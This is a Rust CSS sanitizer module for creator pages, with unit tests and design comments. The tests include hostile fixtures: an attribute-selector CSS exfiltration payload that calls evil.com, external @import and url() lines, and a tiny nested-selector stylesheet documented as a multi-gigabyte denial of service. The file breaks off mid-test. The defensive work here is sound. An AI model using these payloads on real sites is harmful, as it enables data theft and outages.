Skip to main content

max / makenotwork

46.1 KB · 1184 lines History Blame Raw
1 //! CSS sanitization for custom pages, built on [`lightningcss`].
2 //!
3 //! The job is to take creator CSS and make it safe to inline on a public page
4 //! without it escaping the user canvas or reaching off-platform. The pipeline:
5 //!
6 //! 1. **Parse** the creator's CSS to an AST (nesting enabled, error-recovery on
7 //! so one bad rule doesn't discard the sheet).
8 //! 2. **Visit** it once to: drop at-rules outside the allowlist, validate every
9 //! `url()` (off-platform URLs are neutralized), strip system-slot hiding
10 //! properties on `.mnw-*` selectors, enforce the strobe budget, flag
11 //! `expression()`, and count rules/selectors against the DoS caps.
12 //! 3. **Scope** by partitioning rules into ones that select elements (style,
13 //! `@media`, `@supports`, `@layer` blocks) and ones that are global by nature
14 //! (`@keyframes`, `@font-face`, `@page`, `@layer` statements). The former are
15 //! re-emitted nested inside `.user-canvas#uc-{owner}` and flattened by
16 //! lightningcss, so scoping is done by the engine's own spec-compliant
17 //! nesting resolver rather than fragile string surgery. Selectors that try to
18 //! escape (`html`, `body`, `:root`, `*`) become `.user-canvas html` etc. and
19 //! match nothing outside the canvas.
20 //! 4. **Append** a reduced-motion override as the final rule.
21 //!
22 //! The parse -> print -> wrap -> reparse round-trip is also what makes brace
23 //! injection impossible: a stray `}` in creator input is a parse error, never a
24 //! literal that could close the wrapper early.
25
26 use std::convert::Infallible;
27
28 use lightningcss::declaration::DeclarationBlock;
29 use lightningcss::properties::Property;
30 use lightningcss::properties::custom::Function;
31 use lightningcss::rules::{CssRule, CssRuleList};
32 use lightningcss::selector::{Component, Selector, SelectorList};
33 use lightningcss::stylesheet::{ParserFlags, ParserOptions, PrinterOptions, StyleSheet};
34 use lightningcss::targets::{Features, Targets};
35 use lightningcss::values::url::Url;
36 use lightningcss::visit_types;
37 use lightningcss::visitor::{Visit, VisitTypes, Visitor};
38
39 use super::url_filter::{UrlPolicy, resolve_internal_url};
40 use super::{MAX_RULES, MAX_SELECTORS, Rejection, RejectionKind};
41
42 /// Sanitize creator CSS for a profile or project page, scoping it to
43 /// `.user-canvas#uc-{scope_id}`. See [`scope_and_sanitize`].
44 pub fn sanitize_css(input: &str, scope_id: &str, policy: &UrlPolicy) -> (String, Vec<Rejection>) {
45 scope_and_sanitize(input, "user-canvas", "uc", scope_id, policy)
46 }
47
48 /// Sanitize a project's CSS for one of its item pages, scoping it to
49 /// `.item-canvas#ic-{project_id}`. Item pages have no HTML of their own; they
50 /// wear the parent project's styling re-scoped to the item canvas root.
51 pub fn sanitize_item_css(
52 input: &str,
53 project_id: &str,
54 policy: &UrlPolicy,
55 ) -> (String, Vec<Rejection>) {
56 scope_and_sanitize(input, "item-canvas", "ic", project_id, policy)
57 }
58
59 /// Sanitize creator CSS, scoping it to `.{canvas_class}#{id_prefix}-{scope_id}`.
60 ///
61 /// `scope_id` must be an id-safe token (the owner/project UUID); anything else
62 /// is refused outright. `canvas_class`/`id_prefix` are internal constants.
63 /// Returns the sanitized, scoped stylesheet plus every reference stripped along
64 /// the way. On a fatal parse failure or a complexity-cap breach, returns empty
65 /// CSS and a single explanatory rejection, a page that can't be made safe
66 /// renders as the platform default, never partially.
67 fn scope_and_sanitize(
68 input: &str,
69 canvas_class: &str,
70 id_prefix: &str,
71 scope_id: &str,
72 policy: &UrlPolicy,
73 ) -> (String, Vec<Rejection>) {
74 if input.trim().is_empty() {
75 return (String::new(), Vec::new());
76 }
77
78 if !is_id_safe(scope_id) {
79 return (
80 String::new(),
81 vec![Rejection {
82 kind: RejectionKind::MalformedCss,
83 location: "css".into(),
84 original_value: scope_id.to_string(),
85 reason: "internal: unsafe owner scope".into(),
86 }],
87 );
88 }
89
90 let Ok(mut stylesheet) = StyleSheet::parse(input, parser_options()) else {
91 tracing::warn!(
92 input_len = input.len(),
93 "custom-page CSS rejected: unparseable"
94 );
95 return (
96 String::new(),
97 vec![Rejection {
98 kind: RejectionKind::MalformedCss,
99 location: "css".into(),
100 original_value: String::new(),
101 reason: "CSS could not be parsed".into(),
102 }],
103 );
104 };
105
106 let mut sanitizer = CssSanitizer {
107 policy,
108 rejections: Vec::new(),
109 rule_count: 0,
110 selector_count: 0,
111 };
112 // Our visitor never returns Err.
113 let _: Result<(), Infallible> = stylesheet.visit(&mut sanitizer);
114
115 if sanitizer.rule_count > MAX_RULES || sanitizer.selector_count > MAX_SELECTORS {
116 tracing::warn!(
117 rule_count = sanitizer.rule_count,
118 selector_count = sanitizer.selector_count,
119 "custom-page CSS rejected: exceeds complexity limits (MAX_RULES={MAX_RULES}, MAX_SELECTORS={MAX_SELECTORS})"
120 );
121 return (
122 String::new(),
123 vec![Rejection {
124 kind: RejectionKind::ComplexityLimit,
125 location: "css".into(),
126 original_value: format!(
127 "{} rules, {} selectors",
128 sanitizer.rule_count, sanitizer.selector_count
129 ),
130 reason: format!(
131 "stylesheet too complex (limit {MAX_RULES} rules, {MAX_SELECTORS} selectors)"
132 ),
133 }],
134 );
135 }
136
137 // THE CAPS ABOVE COUNT THE PARSED TREE; FLATTENING IS MULTIPLICATIVE.
138 //
139 // `rule_count` and `selector_count` are accumulated additively over the AST
140 // as parsed, and they are checked before the scoping wrapper is flattened.
141 // Nested selectors do not add, they multiply: a rule with N selectors
142 // nested inside one with M produces N*M flattened selectors, and the caps
143 // never see it. The css soak target found the consequence in its first
144 // half-hour (infra `bd562c12`) as a 2.1 GB allocation from a 167-byte
145 // stylesheet -- nested `&` selectors, roughly 30x per level:
146 //
147 // depth 1: 43 bytes in -> 723 bytes out
148 // depth 2: 77 bytes in -> 17,253 bytes out
149 // depth 3: 111 bytes in -> 513,153 bytes out
150 // depth 4: 145 bytes in -> 15,390,153 bytes out
151 //
152 // and zero rejections at every depth. Sanitization is render-time, so that
153 // is not a slow save: it is every visitor to that page allocating
154 // gigabytes, which is a denial of service any creator could have written by
155 // accident.
156 //
157 // The projection below multiplies down the nesting tree and refuses the
158 // sheet before anything is flattened. It reuses MAX_SELECTORS and
159 // `ComplexityLimit` rather than inventing a limit: "too complex, render the
160 // platform default" is already this crate's designed answer, and it was
161 // only ever measuring the wrong number.
162 let projected = projected_expansion(&stylesheet.rules, 1);
163 if projected > MAX_SELECTORS as u64 {
164 tracing::warn!(
165 projected,
166 "custom-page CSS rejected: nested selectors project to {projected} flattened selectors (limit {MAX_SELECTORS})"
167 );
168 return (
169 String::new(),
170 vec![Rejection {
171 kind: RejectionKind::ComplexityLimit,
172 location: "css".into(),
173 original_value: format!("{projected} flattened selectors"),
174 reason: format!(
175 "nested selectors expand to more than {MAX_SELECTORS} rules once flattened"
176 ),
177 }],
178 );
179 }
180
181 let mut rejections = sanitizer.rejections;
182
183 // Partition surviving rules: element-selecting rules get scoped; rules that
184 // are global by nature stay top-level (they have no document selectors, and
185 // they cannot legally nest inside a style rule anyway).
186 let rules = std::mem::take(&mut stylesheet.rules.0);
187 let mut global = Vec::new();
188 let mut scopable = Vec::new();
189 for rule in rules {
190 match rule {
191 CssRule::Ignored => {}
192 CssRule::Keyframes(_)
193 | CssRule::FontFace(_)
194 | CssRule::Page(_)
195 | CssRule::LayerStatement(_) => global.push(rule),
196 _ => scopable.push(rule),
197 }
198 }
199
200 let scope_selector = format!(".{canvas_class}#{id_prefix}-{scope_id}");
201
202 let global_css = print_rules(global);
203 let scopable_css = print_rules(scopable);
204
205 // Wrap the element-selecting rules in the canvas selector and let
206 // lightningcss flatten the nesting (scoping done by the engine).
207 let flat_scoped = if scopable_css.trim().is_empty() {
208 String::new()
209 } else {
210 let wrapped = format!("{scope_selector} {{\n{scopable_css}\n}}");
211 match StyleSheet::parse(&wrapped, parser_options()) {
212 Ok(sheet) => sheet
213 .to_css(PrinterOptions {
214 targets: Targets {
215 browsers: None,
216 include: Features::Nesting,
217 exclude: Features::empty(),
218 },
219 ..Default::default()
220 })
221 .map(|r| r.code)
222 .unwrap_or_default(),
223 Err(_) => {
224 // Should not happen on already-sanitized input; fail safe.
225 rejections.push(Rejection {
226 kind: RejectionKind::MalformedCss,
227 location: "css".into(),
228 original_value: String::new(),
229 reason: "internal: re-scope failed".into(),
230 });
231 String::new()
232 }
233 }
234 };
235
236 // NOT VERIFIED AGAINST THE PRINTER, and that is a known gap rather than an
237 // oversight. See infra `bd562c12`: the css soak target found that
238 // lightningcss's nesting flattener can print a selector whose text no
239 // longer parses back to the scoped AST -- `-- &x` prints as `#uc-abcx`, the
240 // trailing type selector merging into the canvas id.
241 //
242 // A guard that reparsed this function's own printed output and dropped
243 // unscoped rules was written, and then REMOVED, because it was worse than
244 // what it fixed. Every mis-flattened shape found NARROWS the match (a
245 // longer identifier matches fewer elements), so the rules it dropped were
246 // inert. The reparse, meanwhile, ran over the FLATTENED sheet, which is far
247 // larger and more deeply nested than the input: 214 bytes of creator CSS
248 // flattens to 219 KB, and parsing that overflowed a 2 MB stack -- tokio's
249 // default worker size. A Rust stack overflow is not a catchable panic, so
250 // that traded an inert rule for an abort of the whole server process,
251 // reachable by any visitor to the page.
252 //
253 // Fixing it safely needs a check that does not reparse the output, and
254 // choosing one is a design decision rather than a mechanical fix.
255
256 // Reduced-motion override, always last (decision #3). Scoped to the canvas.
257 let reduced_motion = format!(
258 "@media (prefers-reduced-motion: reduce){{{scope_selector},{scope_selector} *{{animation:none!important;transition:none!important}}}}"
259 );
260
261 let mut out = String::new();
262 if !global_css.trim().is_empty() {
263 out.push_str(global_css.trim());
264 out.push('\n');
265 }
266 if !flat_scoped.trim().is_empty() {
267 out.push_str(flat_scoped.trim());
268 out.push('\n');
269 }
270 out.push_str(&reduced_motion);
271
272 (escape_lt_for_style_element(&out), rejections)
273 }
274
275 /// How far this rule tree expands when nesting is flattened.
276 ///
277 /// Not a selector count: a compound like `&&&&` is ONE selector whose four
278 /// nesting components each expand to the parent's flattened text, so the
279 /// growth is textual and multiplies down the tree. Counting selector-list
280 /// length instead measures the wrong axis entirely and waves the input
281 /// through, which is what a first attempt at this did.
282 ///
283 /// `factor` is what the enclosing rules already multiply by. Saturating
284 /// throughout: the answer only has to be "past the cap", and an overflow would
285 /// wrap to a small number and admit exactly the input this refuses.
286 fn projected_expansion(rules: &CssRuleList<'_>, factor: u64) -> u64 {
287 let mut worst = factor;
288 for rule in &rules.0 {
289 let (own, nested) = match rule {
290 CssRule::Style(style) => {
291 // Each nesting reference reproduces the parent selector; the
292 // selector list multiplies on top of that.
293 let refs: u64 = style
294 .selectors
295 .0
296 .iter()
297 .map(|s| {
298 s.iter_raw_match_order()
299 .filter(|c| matches!(c, Component::Nesting))
300 .count() as u64
301 })
302 .sum();
303 let width = refs.max(style.selectors.0.len() as u64).max(1);
304 (factor.saturating_mul(width), Some(&style.rules))
305 }
306 CssRule::Media(r) => (factor, Some(&r.rules)),
307 CssRule::Supports(r) => (factor, Some(&r.rules)),
308 CssRule::LayerBlock(r) => (factor, Some(&r.rules)),
309 _ => (factor, None),
310 };
311 worst = worst.max(own);
312 if let Some(inner) = nested {
313 worst = worst.max(projected_expansion(inner, own));
314 }
315 if worst > u64::from(u32::MAX) {
316 return worst; // Already past any cap; stop walking.
317 }
318 }
319 worst
320 }
321
322 /// Make the sheet safe to inline raw inside an HTML `<style>` element.
323 ///
324 /// `<style>` is a raw-text element: the HTML tokenizer ends it at the first
325 /// `</style` regardless of CSS syntax, so a creator's `content: "</style>..."`
326 /// would otherwise break out and inject markup. lightningcss faithfully
327 /// preserves the literal `<` inside CSS string tokens, so we escape every `<`
328 /// in the final output to its CSS hex escape `\3c ` (the trailing space
329 /// terminates the hex digits). `<` is not valid CSS syntax outside string/url
330 /// tokens, so this rewrite is lossless where it matters and never produces a
331 /// literal `<` for the HTML parser to act on. `</style>`, `<!--`, and `<script`
332 /// all require a `<`, so neutralizing it closes the whole class.
333 fn escape_lt_for_style_element(css: &str) -> String {
334 if !css.contains('<') {
335 return css.to_string();
336 }
337 css.replace('<', "\\3c ")
338 }
339
340 pub(super) fn parser_options<'o, 'i>() -> ParserOptions<'o, 'i> {
341 ParserOptions {
342 // Nesting is standard CSS; let creators use it and let us wrap with it.
343 flags: ParserFlags::NESTING,
344 // One malformed rule shouldn't discard the whole sheet.
345 error_recovery: true,
346 ..Default::default()
347 }
348 }
349
350 /// Print a set of rules to CSS (non-minified, no nesting transform).
351 fn print_rules(rules: Vec<CssRule<'_>>) -> String {
352 if rules.is_empty() {
353 return String::new();
354 }
355 let sheet = StyleSheet::new(Vec::new(), CssRuleList(rules), ParserOptions::default());
356 sheet
357 .to_css(PrinterOptions::default())
358 .map(|r| r.code)
359 .unwrap_or_default()
360 }
361
362 /// An id token safe to embed in a CSS id selector: ASCII alphanumerics and `-`.
363 fn is_id_safe(s: &str) -> bool {
364 !s.is_empty() && s.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-')
365 }
366
367 /// The single-pass AST sanitizer.
368 struct CssSanitizer<'p> {
369 policy: &'p UrlPolicy,
370 rejections: Vec<Rejection>,
371 rule_count: usize,
372 selector_count: usize,
373 }
374
375 impl<'i> Visitor<'i> for CssSanitizer<'_> {
376 type Error = Infallible;
377
378 fn visit_types(&self) -> VisitTypes {
379 visit_types!(RULES | URLS | FUNCTIONS)
380 }
381
382 fn visit_rule(&mut self, rule: &mut CssRule<'i>) -> Result<(), Self::Error> {
383 self.rule_count += 1;
384
385 // At-rule allowlist. Anything not explicitly allowed is replaced with
386 // CssRule::Ignored (prints nothing) and recorded. Allowed at-rules fall
387 // through to the recursion below so their contents are still cleaned.
388 let blocked_name: Option<&str> = match rule {
389 CssRule::Import(_) => Some("@import"),
390 CssRule::Namespace(_) => Some("@namespace"),
391 CssRule::MozDocument(_) => Some("@-moz-document"),
392 CssRule::CustomMedia(_) => Some("@custom-media"),
393 CssRule::Property(_) => Some("@property"),
394 CssRule::Viewport(_) => Some("@viewport"),
395 CssRule::CounterStyle(_) => Some("@counter-style"),
396 CssRule::FontPaletteValues(_) => Some("@font-palette-values"),
397 CssRule::FontFeatureValues(_) => Some("@font-feature-values"),
398 CssRule::Container(_) => Some("@container"),
399 CssRule::Scope(_) => Some("@scope"),
400 CssRule::StartingStyle(_) => Some("@starting-style"),
401 CssRule::ViewTransition(_) => Some("@view-transition"),
402 CssRule::Unknown(_) => Some("unknown at-rule"),
403 // Explicitly allowed: plain style rules and the safe grouping/at-rules.
404 // Enumerated with NO wildcard arm (UX-S2, Run 7) so a future
405 // lightningcss upgrade that adds a `CssRule` variant fails to COMPILE
406 // here until it is triaged into allow-or-block, instead of the old
407 // `_ => None` silently emitting an unknown at-rule unfiltered into the
408 // `<style>` block.
409 CssRule::Media(_)
410 | CssRule::Style(_)
411 | CssRule::Keyframes(_)
412 | CssRule::FontFace(_)
413 | CssRule::Page(_)
414 | CssRule::Supports(_)
415 | CssRule::Nesting(_)
416 | CssRule::NestedDeclarations(_)
417 | CssRule::LayerStatement(_)
418 | CssRule::LayerBlock(_)
419 | CssRule::Ignored
420 | CssRule::Custom(_) => None,
421 };
422
423 if let Some(name) = blocked_name {
424 self.rejections.push(Rejection {
425 kind: RejectionKind::BlockedAtRule,
426 location: name.to_string(),
427 original_value: name.to_string(),
428 reason: format!("{name} is not allowed in custom pages"),
429 });
430 *rule = CssRule::Ignored;
431 return Ok(());
432 }
433
434 // Style-rule-specific cleanups, with selector context in hand.
435 if let CssRule::Style(style) = rule {
436 self.selector_count += style.selectors.0.len();
437 if selectors_target_system_slot(&style.selectors) {
438 strip_hiding_properties(&mut style.declarations, &mut self.rejections);
439 }
440 enforce_animation_budget(&mut style.declarations, &mut self.rejections);
441 }
442
443 // Recurse into declarations (url()/expression()) and nested rules.
444 rule.visit_children(self)
445 }
446
447 fn visit_url(&mut self, url: &mut Url<'i>) -> Result<(), Self::Error> {
448 if let Err(rejection) = resolve_internal_url(&url.url, self.policy, "css url()") {
449 self.rejections.push(rejection);
450 // Neutralize: an empty url() resolves to the current document
451 // (same-origin), never the off-platform target.
452 url.url = "".into();
453 }
454 Ok(())
455 }
456
457 fn visit_function(&mut self, function: &mut Function<'i>) -> Result<(), Self::Error> {
458 // expression() is dead in every browser we support, but the sanitizer's
459 // contract is "recorded as blocked => actually removed", so neutralize it
460 // rather than passing the token through: clear its arguments (dropping any
461 // url()/payload inside) and rename it so the output can't contain a
462 // working `expression(...)` (Run 21 security).
463 if function.name.as_ref().eq_ignore_ascii_case("expression") {
464 self.rejections.push(Rejection {
465 kind: RejectionKind::BlockedFunction,
466 location: "css".into(),
467 original_value: "expression()".into(),
468 reason: "the expression() function is not allowed".into(),
469 });
470 function.arguments.0.clear();
471 function.name = lightningcss::values::ident::Ident("mnw-blocked".into());
472 return Ok(());
473 }
474 function.visit_children(self)
475 }
476 }
477
478 /// True if any selector in the list targets a `.mnw-*` system-slot class
479 /// (directly or inside `:is()`/`:where()`/`:not()`/`:has()`).
480 fn selectors_target_system_slot(list: &SelectorList) -> bool {
481 list.0.iter().any(selector_has_system_class)
482 }
483
484 fn selector_has_system_class(selector: &Selector) -> bool {
485 selector
486 .iter_raw_match_order()
487 .any(component_has_system_class)
488 }
489
490 fn component_has_system_class(component: &Component) -> bool {
491 match component {
492 Component::Class(ident) => ident.0.starts_with("mnw-"),
493 Component::Is(list)
494 | Component::Where(list)
495 | Component::Negation(list)
496 | Component::Has(list) => list.iter().any(selector_has_system_class),
497 Component::Any(_, list) => list.iter().any(selector_has_system_class),
498 Component::Host(Some(inner)) => selector_has_system_class(inner),
499 _ => false,
500 }
501 }
502
503 /// Remove declarations that would hide a system slot, preserving the rest of
504 /// the rule. Records one rejection per dropped property.
505 fn strip_hiding_properties(decls: &mut DeclarationBlock, rejections: &mut Vec<Rejection>) {
506 for list in [&mut decls.declarations, &mut decls.important_declarations] {
507 list.retain(|prop| {
508 if is_hiding_property(prop) {
509 rejections.push(Rejection {
510 kind: RejectionKind::HidingProperty,
511 location: ".mnw-* rule".into(),
512 original_value: prop_string(prop),
513 reason: "system slots (.mnw-*) cannot be hidden".into(),
514 });
515 false
516 } else {
517 true
518 }
519 });
520 }
521 }
522
523 /// Whether a property+value combination hides an element. Matched against the
524 /// serialized declaration so we don't have to enumerate every typed variant.
525 fn is_hiding_property(prop: &Property) -> bool {
526 let norm = normalize(&prop_string(prop));
527 if let Some(rest) = norm.strip_prefix("opacity:") {
528 return rest.parse::<f32>().is_ok_and(|v| v < 0.1);
529 }
530 matches!(
531 norm.as_str(),
532 "display:none"
533 | "visibility:hidden"
534 | "visibility:collapse"
535 | "pointer-events:none"
536 | "width:0"
537 | "width:0px"
538 | "height:0"
539 | "height:0px"
540 // UX-M4: 0-sized box via max-* and 0 font-size hide content too.
541 | "max-width:0"
542 | "max-width:0px"
543 | "max-height:0"
544 | "max-height:0px"
545 | "font-size:0"
546 | "font-size:0px"
547 // Legacy clip:rect(0,0,0,0) screen-reader-hide trick.
548 | "clip:rect(0,0,0,0)"
549 | "clip:rect(0px,0px,0px,0px)"
550 ) || (norm.starts_with("transform:") && norm.contains("scale(0)"))
551 // clip-path clipping the element to nothing (UX-M4).
552 || (norm.starts_with("clip-path:")
553 && (norm.contains("inset(100%") || norm.contains("circle(0")))
554 // Off-screen text via large-negative text-indent (UX-M4).
555 || is_offscreen_text_indent(&norm)
556 }
557
558 /// Large-negative `text-indent`, the classic off-screen text-hiding trick
559 /// (`text-indent:-9999px`). Anything ≤ -1000px (or unitless) counts as hiding.
560 fn is_offscreen_text_indent(norm: &str) -> bool {
561 norm.strip_prefix("text-indent:")
562 .map(|rest| rest.strip_suffix("px").unwrap_or(rest))
563 .and_then(|n| n.parse::<f32>().ok())
564 .is_some_and(|v| v <= -1000.0)
565 }
566
567 /// Drop infinite animations faster than 2s (strobe guard, decision #3). The
568 /// reduced-motion override handles accessibility; this caps the worst abuse for
569 /// everyone else.
570 fn enforce_animation_budget(decls: &mut DeclarationBlock, rejections: &mut Vec<Rejection>) {
571 /// A finite iteration-count this high at a sub-2s duration strobes just like
572 /// `infinite` does (UX-M5), `infinite` was the only case caught before.
573 const STROBE_MAX_ITERATIONS: f32 = 20.0;
574
575 let mut has_infinite = false;
576 let mut min_duration: Option<f32> = None;
577 let mut max_iterations: Option<f32> = None;
578
579 for list in [&decls.declarations, &decls.important_declarations] {
580 for prop in list {
581 // Lowercased but whitespace-preserved: duration tokens like `1s`
582 // must stay split from neighbouring keywords.
583 let raw = prop_string(prop).to_ascii_lowercase();
584 if raw.contains("infinite") {
585 has_infinite = true;
586 }
587 if let Some(rest) = raw.strip_prefix("animation-duration:") {
588 update_min_duration(rest, &mut min_duration);
589 } else if let Some(rest) = raw.strip_prefix("animation-iteration-count:") {
590 update_max_iterations(rest, &mut max_iterations);
591 } else if let Some(rest) = raw.strip_prefix("animation:") {
592 update_min_duration(rest, &mut min_duration);
593 update_max_iterations(rest, &mut max_iterations);
594 }
595 }
596 }
597
598 let fast = min_duration.is_some_and(|d| d < 2.0);
599 let high_count = max_iterations.is_some_and(|n| n >= STROBE_MAX_ITERATIONS);
600 let strobe = (has_infinite || high_count) && fast;
601 if !strobe {
602 return;
603 }
604
605 let mut dropped = false;
606 for list in [&mut decls.declarations, &mut decls.important_declarations] {
607 list.retain(|prop| {
608 let norm = normalize(&prop_string(prop));
609 if norm.starts_with("animation") {
610 dropped = true;
611 false
612 } else {
613 true
614 }
615 });
616 }
617 if dropped {
618 rejections.push(Rejection {
619 kind: RejectionKind::AnimationBudget,
620 location: "animation".into(),
621 original_value: "infinite animation under 2s".into(),
622 reason: "fast infinite animations are not allowed (strobe guard)".into(),
623 });
624 }
625 }
626
627 fn update_min_duration(value: &str, min: &mut Option<f32>) {
628 for token in value.split([' ', ',']) {
629 if let Some(secs) = parse_seconds(token) {
630 *min = Some(min.map_or(secs, |m| m.min(secs)));
631 }
632 }
633 }
634
635 /// Track the largest finite iteration-count seen, scanning either the explicit
636 /// `animation-iteration-count` value or the `animation` shorthand (UX-M5). A bare
637 /// unitless number is the count; durations carry `s`/`ms` and percentages `%`, so
638 /// they're skipped. `infinite` is handled separately.
639 fn update_max_iterations(value: &str, max: &mut Option<f32>) {
640 for token in value.split([' ', ',']) {
641 let token = token.trim();
642 if token.is_empty() || token.ends_with('s') || token.ends_with('%') {
643 continue;
644 }
645 if let Ok(n) = token.parse::<f32>() {
646 *max = Some(max.map_or(n, |m| m.max(n)));
647 }
648 }
649 }
650
651 /// Parse a CSS time token to seconds. Returns None for non-time tokens.
652 fn parse_seconds(token: &str) -> Option<f32> {
653 let t = token.trim();
654 if let Some(ms) = t.strip_suffix("ms") {
655 ms.parse::<f32>().ok().map(|v| v / 1000.0)
656 } else if let Some(s) = t.strip_suffix('s') {
657 s.parse::<f32>().ok()
658 } else {
659 None
660 }
661 }
662
663 fn prop_string(prop: &Property) -> String {
664 prop.to_css_string(false, PrinterOptions::default())
665 .unwrap_or_default()
666 }
667
668 /// Lowercase and strip ASCII whitespace, for value matching.
669 fn normalize(s: &str) -> String {
670 s.chars()
671 .filter(|c| !c.is_whitespace())
672 .collect::<String>()
673 .to_ascii_lowercase()
674 }
675
676 #[cfg(test)]
677 mod tests {
678
679 #[test]
680 fn nested_amplification_is_refused_before_it_is_flattened() {
681 // The css soak target's second finding (infra `bd562c12`): 167 bytes of
682 // nested `&` selectors allocated 2.1 GB, because the complexity caps
683 // count the parsed tree additively and flattening multiplies. Measured
684 // growth was ~30x per level -- 145 bytes in, 15 MB out, zero
685 // rejections. Sanitization is render-time, so that is every visitor to
686 // the page, not a slow save.
687 let amp = "&".repeat(30);
688 let css = format!("{amp} {{ {amp} {{ {amp} {{ color:red }} }} }}");
689 assert!(css.len() < 200, "the point is that the input is tiny");
690
691 let (out, rejections) = sanitize_css(&css, "abc", &test_policy());
692 assert!(
693 out.is_empty(),
694 "an unsafe sheet renders as nothing: {out:.200}"
695 );
696 assert!(
697 rejections
698 .iter()
699 .any(|r| matches!(r.kind, RejectionKind::ComplexityLimit)),
700 "refusal must be recorded as a complexity limit: {rejections:?}"
701 );
702 }
703
704 #[test]
705 fn ordinary_nesting_is_not_refused() {
706 // The guard is worthless if it refuses real pages. Nesting is standard
707 // CSS and the parser enables it deliberately.
708 for css in [
709 ".card { color: red; &:hover { color: blue } }",
710 "h1,h2,h3 { &:hover, &:focus { color: red } }",
711 ".a { .b { .c { color: red } } }",
712 "@media print { .a { &:hover { color: red } } }",
713 ] {
714 let (out, rejections) = sanitize_css(css, "abc", &test_policy());
715 assert!(
716 !rejections
717 .iter()
718 .any(|r| matches!(r.kind, RejectionKind::ComplexityLimit)),
719 "ordinary nesting was refused: {css:?} -> {rejections:?}"
720 );
721 assert!(
722 !out.is_empty(),
723 "ordinary nesting produced nothing: {css:?}"
724 );
725 }
726 }
727
728 fn test_policy() -> UrlPolicy {
729 UrlPolicy::new(
730 "https://u.makenot.work/alice/proj",
731 ["makenot.work".to_string(), "u.makenot.work".to_string()],
732 )
733 .unwrap()
734 }
735 use super::*;
736
737 const SCOPE: &str = "11111111-1111-1111-1111-111111111111";
738
739 fn policy() -> UrlPolicy {
740 UrlPolicy::new(
741 "https://u.makenot.work/alice/proj",
742 [
743 "makenot.work".to_string(),
744 "u.makenot.work".to_string(),
745 "cdn.makenot.work".to_string(),
746 ],
747 )
748 .unwrap()
749 }
750
751 fn san(css: &str) -> (String, Vec<Rejection>) {
752 sanitize_css(css, SCOPE, &policy())
753 }
754
755 fn scoped(css: &str) -> String {
756 san(css).0
757 }
758
759 #[test]
760 fn empty_input_is_empty() {
761 assert_eq!(san("").0, "");
762 assert_eq!(san(" ").0, "");
763 }
764
765 #[test]
766 fn scopes_plain_selectors() {
767 let out = scoped("p { color: red }");
768 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 p"));
769 }
770
771 #[test]
772 fn neutralizes_body_and_root_escape() {
773 let out = scoped("body { background: blue } :root { color: green }");
774 // Both are confined under the canvas (descendant), matching nothing outside.
775 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
776 assert!(!out.contains("\nbody"));
777 assert!(!out.starts_with("body"));
778 }
779
780 #[test]
781 fn rejects_import() {
782 let (out, rej) = san("@import url(https://evil.com/x.css); p { color: red }");
783 assert!(!out.contains("@import"));
784 assert!(!out.contains("evil.com"));
785 assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule));
786 assert!(out.contains("color"));
787 }
788
789 #[test]
790 fn rejects_namespace_and_moz_document() {
791 let (out, rej) =
792 san("@namespace url(http://x); @-moz-document url-prefix() { p {color:red} }");
793 assert!(!out.to_lowercase().contains("namespace"));
794 assert!(!out.to_lowercase().contains("moz-document"));
795 assert!(
796 rej.iter()
797 .filter(|r| r.kind == RejectionKind::BlockedAtRule)
798 .count()
799 >= 2
800 );
801 }
802
803 #[test]
804 fn allows_media_and_keyframes_and_fontface() {
805 let out = scoped(
806 "@media (min-width: 600px) { .wide { color: red } } \
807 @keyframes spin { from {opacity:0} to {opacity:1} }",
808 );
809 assert!(out.contains("@media"));
810 assert!(out.contains("@keyframes"));
811 // The media rule's inner selector is scoped...
812 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 .wide"));
813 // ...but @keyframes stays global (not nested under the canvas).
814 assert!(out.contains("@keyframes spin"));
815 }
816
817 #[test]
818 fn external_url_in_background_is_neutralized() {
819 let (out, rej) = san(".x { background: url(https://evil.com/y.png) }");
820 assert!(!out.contains("evil.com"));
821 assert!(rej.iter().any(|r| r.kind == RejectionKind::ExternalUrl));
822 }
823
824 #[test]
825 fn internal_and_relative_urls_kept() {
826 let out = scoped(
827 ".a{background:url(/static/p.png)} .b{background:url(https://cdn.makenot.work/x)}",
828 );
829 assert!(out.contains("/static/p.png"));
830 assert!(out.contains("cdn.makenot.work/x"));
831 }
832
833 #[test]
834 fn attribute_selector_exfiltration_blocked() {
835 // The classic CSS data-exfiltration trick: url() must be dropped.
836 let (out, _) = san("input[value^=\"a\"] { background: url(//evil.com/a) }");
837 assert!(!out.contains("evil.com"));
838 }
839
840 #[test]
841 fn mnw_hiding_properties_stripped() {
842 let (out, rej) = san(".mnw-buy { display: none; color: red }");
843 assert!(!normalize(&out).contains("display:none"));
844 assert!(out.contains("color"));
845 assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
846 }
847
848 #[test]
849 fn mnw_hiding_via_has_stripped() {
850 let (_out, rej) = san("*:has(.mnw-files) { opacity: 0 }");
851 assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
852 }
853
854 #[test]
855 fn non_mnw_hiding_is_allowed() {
856 let (out, rej) = san(".myclass { display: none }");
857 assert!(normalize(&out).contains("display:none"));
858 assert!(!rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
859 }
860
861 #[test]
862 fn mnw_widened_hiding_properties_stripped() {
863 // UX-M4: clip-path, font-size:0, and off-screen text-indent are all hides.
864 for decl in [
865 "clip-path: inset(100%)",
866 "font-size: 0",
867 "text-indent: -9999px",
868 "max-height: 0",
869 "clip: rect(0, 0, 0, 0)",
870 ] {
871 let (_out, rej) = san(&format!(".mnw-buy {{ {decl} }}"));
872 assert!(
873 rej.iter().any(|r| r.kind == RejectionKind::HidingProperty),
874 "expected {decl} to be treated as hiding"
875 );
876 }
877 }
878
879 #[test]
880 fn reduced_motion_appended() {
881 let out = scoped("p { color: red }");
882 assert!(out.contains("prefers-reduced-motion"));
883 assert!(out.trim_end().ends_with('}'));
884 }
885
886 #[test]
887 fn fast_infinite_animation_dropped() {
888 let (out, rej) = san(".spin { animation: spin 1s infinite }");
889 assert!(!normalize(&out).contains("animation:spin"));
890 assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
891 }
892
893 #[test]
894 fn slow_infinite_animation_kept() {
895 let (out, rej) = san(".spin { animation: spin 3s infinite }");
